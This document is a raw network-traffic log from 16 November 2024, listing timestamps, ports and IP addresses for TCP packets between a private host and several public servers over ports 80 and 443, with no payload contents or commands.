Nov 16, 2024 04:33:26.694519997 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694554090 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694586992 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694611073 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694611073 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694622040 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694658041 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694693089 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694693089 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694694042 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694724083 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694751024 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694757938 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694792032 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694793940 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694823980 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694858074 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694892883 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694926023 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694936991 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.694962025 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.694996119 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695003033 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695003033 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695031881 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695065022 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695100069 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695131063 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695133924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695163012 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695168972 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695204020 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695238113 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695271015 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695282936 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695282936 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695307016 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695327997 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695358992 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695395947 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695429087 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695462942 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695491076 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695491076 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695507050 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695544004 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.695667982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.695667982 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.696365118 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.697012901 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.698679924 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698720932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698777914 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698796988 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.698813915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698848963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698903084 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698931932 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.698965073 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699018002 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699050903 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699054956 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.699054956 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.699054956 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.699086905 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699121952 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699157000 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699174881 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.699191093 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699198961 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.699229956 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.699321985 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.700390100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700403929 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700476885 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700506926 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.700551033 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700577974 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700603962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700618982 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700634956 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700644970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.700644970 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.700659990 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700671911 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.700678110 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700692892 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700707912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.700735092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.700735092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.743884087 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.743932962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.743971109 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.744045019 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.744072914 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.754125118 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.754168034 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.754204988 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.754236937 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.754241943 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.754278898 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.754316092 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.754416943 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.754416943 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.775568962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775613070 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775671959 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775698900 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.775708914 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775744915 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775779963 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775784969 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.775815964 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775851965 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775875092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.775885105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775938034 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.775975943 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776009083 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776009083 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776027918 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776062012 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776097059 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776129007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776163101 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776196957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776232958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776266098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776297092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776297092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776297092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776297092 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776299953 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776338100 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776371956 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776407957 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.776408911 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.776545048 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.812596083 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812645912 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812683105 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812716961 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812721014 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.812736988 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.812752962 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812787056 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812822104 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812855959 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812875032 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.812875032 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.812891006 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812926054 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812961102 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.812983036 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.812994003 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.813030958 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.813064098 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.813102007 CET	80	49742	185.215.113.16	192.168.2.4
Nov 16, 2024 04:33:26.813111067 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.813111067 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:26.813193083 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:35.783524990 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:35.783571005 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:35.783896923 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:35.783896923 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:35.783946991 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:35.784668922 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:35.784710884 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:35.784778118 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:35.784957886 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:35.784972906 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.053738117 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.053802967 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:36.053864956 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.054080963 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.054091930 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:36.502600908 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.503242970 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.503266096 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.504228115 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.504348993 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.505311012 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.505371094 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.505743027 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.505753040 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.536745071 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.537066936 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.537081003 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.538697958 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.538765907 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.547858953 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.549814939 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.549910069 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.550414085 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.550431013 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.598992109 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.739437103 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.739463091 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.739469051 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.739530087 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.739568949 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.739581108 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.739612103 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.739626884 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.739626884 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.739654064 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.747566938 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.747592926 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.747618914 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.747639894 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.747648954 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.747661114 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.771624088 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.771663904 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.771692038 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.771702051 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.771719933 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.771723986 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.771743059 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.771773100 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.771799088 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.787882090 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.800271034 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.800303936 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.800337076 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.800355911 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.800385952 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.800405025 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.854831934 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.854856014 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.854892015 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.854907990 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.854931116 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.854947090 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.855496883 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.855556965 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.855564117 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.855601072 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.855668068 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.855710030 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.877851963 CET	49758	443	192.168.2.4	13.107.246.67
Nov 16, 2024 04:33:36.877872944 CET	443	49758	13.107.246.67	192.168.2.4
Nov 16, 2024 04:33:36.890455008 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.890497923 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.890535116 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.890549898 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.890577078 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.890604019 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.906137943 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:36.907072067 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.907095909 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:36.907965899 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:36.908032894 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.909061909 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.909125090 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:36.918566942 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.918611050 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.918632984 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.918647051 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.918678999 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.918704033 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.919646025 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.919681072 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.919707060 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.919711113 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:36.919744015 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.919761896 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:36.951941013 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:36.951966047 CET	443	49760	142.250.185.132	192.168.2.4
Nov 16, 2024 04:33:37.007708073 CET	49760	443	192.168.2.4	142.250.185.132
Nov 16, 2024 04:33:37.024962902 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.025039911 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.025356054 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.025746107 CET	49763	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.025779009 CET	443	49763	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.035798073 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:37.035820961 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:37.035912037 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:37.035913944 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.035957098 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.035991907 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.036014080 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.036031961 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.036134005 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.037370920 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:37.037393093 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:37.037753105 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.037789106 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.037836075 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.037851095 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.037875891 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.037889004 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.127408981 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.127450943 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.127491951 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.127515078 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.127526999 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.127554893 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.155509949 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.155550003 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.155581951 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.155601978 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.155616999 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.155643940 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.157110929 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.157147884 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.157181025 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.157185078 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.157227039 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.246422052 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.246500969 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.246504068 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.246541023 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.246555090 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.246583939 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.273873091 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.273935080 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.273946047 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.273973942 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.273992062 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.274014950 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.274902105 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.274991989 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.275001049 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.275022030 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.275057077 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.275208950 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.275271893 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.275324106 CET	49759	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.275338888 CET	443	49759	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.296032906 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.296056986 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.296165943 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.296472073 CET	49765	443	192.168.2.4	13.107.246.45
Nov 16, 2024 04:33:37.296485901 CET	443	49765	13.107.246.45	192.168.2.4
Nov 16, 2024 04:33:37.611779928 CET	49742	80	192.168.2.4	185.215.113.16
Nov 16, 2024 04:33:37.892015934 CET	443	49764	184.28.90.27	192.168.2.4
Nov 16, 2024 04:33:37.892132998 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:37.896338940 CET	49764	443	192.168.2.4	184.28.90.27
Nov 16, 2024 04:33:37.896358967 CET	443	49764	184.28.90.27	192.168.2.4
